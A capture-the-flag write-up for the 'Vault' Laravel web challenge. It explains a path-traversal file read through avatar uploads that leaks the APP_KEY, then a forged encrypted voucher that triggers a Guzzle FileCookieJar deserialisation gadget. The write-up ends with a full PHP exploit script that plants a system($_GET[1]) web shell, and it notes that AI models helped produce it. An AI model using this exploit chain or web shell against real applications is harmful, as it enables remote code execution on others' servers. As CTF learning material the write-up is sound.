writeups2026tamu/Vault-web.md
2026-04-01 21:47:42 +02:00

300 lines
8.7 KiB
Markdown

# Vault - web
## entrypoint.sh
```shell
...
mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
...
```
Flag is (for example) at `/24c6038f70c4bb0774ef6629-flag.txt`
## Compose
The challenge code is completely provided, so one can run their own local instance. This enables local customizing and debugging.
Instead of docker build, start, stop, change code, rebuild, ... just add a compose file.
This example assumes to be one directory level above the provided challenge files:
```yaml
services:
vault:
build:
context: ./challenge
dockerfile: Dockerfile
ports:
- "9090:80"
container_name: vault
restart: unless-stopped
```
## LFI
In `/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/AccountController.php` there is a controller for the account that accepts an image upload.
```php=69
$name = $_FILES['avatar']['full_path'];
$path = "/var/www/storage/app/public/avatars/$name";
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
$user->avatar = $path;
$user->save();
```
```php=69
$name = $_FILES['avatar']['full_path'];
```
is completely user supplied.
https://www.php.net/manual/en/reserved.variables.files.php
The content of `$name` (`$_FILES['avatar']['full_path']`) needs to be sanitized.
```php=70
$path = "/var/www/storage/app/public/avatars/$name";
```
No sanitizing here.
```php=71
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
```
The location where the file will be saved is sanitized with `basename()`, so that the upload is constrained to the desired folder.
```php=73
$user->avatar = $path;
$user->save();
```
The user avatar gets modified, but the path to the avatar file is not sanitized and stored as is in the database.
So when uploading a file named `../../../../../../../../../../../../../../etc/passwd`, the script would create the file `etc/passwd` (even handling the sub folder) within the legitimate upload directory, but in the database it will store the user supplied file name, including the manipulated location with the path traversal.
When displaying the avatar via http://localhost:9090/avatar, the system will load the file at the stored location, including the path traversal.
Sadly there is no GUI for the avatar upload.
Instead of messing around with hand made http POST request, handling xsrf and all that stuff, just let Copilot extend the form for the POST request in `challenge/src/resources/views/account.blade.php` on our local challenge instance:
```php-template=26
<div class="content-box" style="margin-bottom: 1rem;">
<h2>Update Avatar</h2>
<form method="post" action="/account/avatar" enctype="multipart/form-data">
@csrf
<label for="avatar">Avatar Image</label>
<input id="avatar" name="avatar" type="file" accept="image/*">
<input class="submit" type="submit" value="Upload Avatar">
</form>
@if (session('avatar_error'))
<div class="errors">
<li>{{ session('avatar_error') }}</li>
</div>
@endif
</div>
```
0. Rebuild the challenge
1. upload a legitimate image file, sniff the http request
2. manipulate and resend http request to change the full_path name
```http
Content-Disposition: form-data; name="avatar"; filename="../../../../../../../../../../../../../../etc/passwd"
```
3. read `/etc/passwd` from http://localhost:9090/avatar
Further things that might be interesting:
- php Application
- Database
- php sessions
- log files?
- ...?
- system
- environment variables?
`/var/www/.env` contains
```
APP_KEY=base64:Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=
```
-> this should allow for creation and signing of things?
- Voucher
- Cookies
- Sessions
- ???
Probably even leading to insecure deserialisation??
Even if the cookie signing itself should not be vulnerable,
there is some custom decryption logic for the vouchers that might be vulnerable.
`/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/VouchersController.php`
```php=37
$voucher = encrypt([
'amount' => $amount,
'created_by' => $user->uuid,
'created_at' => Carbon::now()
]);
```
```php=53
$voucher = decrypt($data['voucher']);
```
https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/laravel.html#app_key--encryption-internals-laravel-56
> encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …).
The `VouchersController` does not use `$serialize=true`, will this work anyway?
> [...] a user able to send data to a decrypt function and in possession of the application secret key will be able to gain remote command execution on a Laravel application.
- [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
It looks like the automated solution [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) with [phpggc](https://github.com/ambionics/phpggc) would help against default configs in laravel itself (cookies, ...) but not against this custom implementation?
Also had severa trouble with the tool, probably user error...
Guzzle is also available, maybe matching.
```
'cipher' => 'AES-256-CBC',
```
After some discussion with copilot,
it explained that there is need for a __descruct() call in combination with some other neccessary.
There is a guzzle CookieJar Class, that fits!
Copilot got tired (whatever problem, idk), so gemini created this script,
that 1 MINUTE AFTER CTF END worked and has written the result of `ls /` into `/tmp/ls.txt`...
But ctf was already over :(
```php
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
use GuzzleHttp\Cookie\CookieJar;
use GuzzleHttp\Cookie\SetCookie;
use GuzzleHttp\Cookie\FileCookieJar;
$baseUri = 'http://localhost:9090';
// The key used in VouchersController::redeem matches the APP_KEY in .env
$key = base64_decode('Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=');
// The payload to execute
// Avoiding quotes so JSON encoding doesn't break PHP syntax with backslashes
$payloadStr = '<?php system($_GET[1]); ?>';
$cookie = new SetCookie([
'Name' => 'payload',
'Value' => $payloadStr,
'Domain' => 'example.com',
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false,
]);
// Gadget chain using FileCookieJar
$filename = '/var/www/public/shell.php';
$jarPayload = new FileCookieJar($filename, true);
$jarPayload->setCookie($cookie);
$serialized = serialize($jarPayload);
$iv = random_bytes(16);
$encrypted = openssl_encrypt($serialized, 'aes-256-cbc', $key, 0, $iv);
$payloadArr = [
'iv' => base64_encode($iv),
'value' => $encrypted,
'tag' => base64_encode('')
];
$voucher = base64_encode(json_encode($payloadArr));
echo "[+] Generated voucher payload.\n";
$jar = new CookieJar();
$client = new Client([
'base_uri' => $baseUri,
'cookies' => $jar,
'http_errors' => false
]);
echo "[+] Fetching CSRF token...\n";
$res = $client->get('/register');
$html = (string) $res->getBody();
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
$csrfToken = $matches[1] ?? '';
$username = 'hacker' . rand(10000, 99999);
$password = 'password123';
echo "[+] Registering user $username...\n";
$res = $client->post('/register', [
'form_params' => [
'_token' => $csrfToken,
'username' => $username,
'password' => $password,
'password2' => $password
]
]);
echo "[+] Logging in...\n";
$res = $client->post('/login', [
'form_params' => [
'_token' => $csrfToken,
'username' => $username,
'password' => $password
]
]);
echo "[+] Fetching new CSRF token for voucher redemption...\n";
$res = $client->get('/vouchers');
$html = (string) $res->getBody();
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
$csrfToken = $matches[1] ?? '';
echo "[+] Redeeming malicious voucher...\n";
$res = $client->post('/vouchers/redeem', [
'form_params' => [
'_token' => $csrfToken,
'voucher' => $voucher
]
]);
echo "[+] Status from redeem: " . $res->getStatusCode() . "\n";
echo "[+] Triggering payload at /shell.php...\n";
$res = $client->get('/shell.php', [
'query' => [
'1' => 'ls / > /tmp/ls.txt'
]
]);
echo "[+] Trigger response: " . $res->getStatusCode() . "\n";
echo "[+] Exploit finished. Check the server or container for /tmp/ls.txt.\n";
```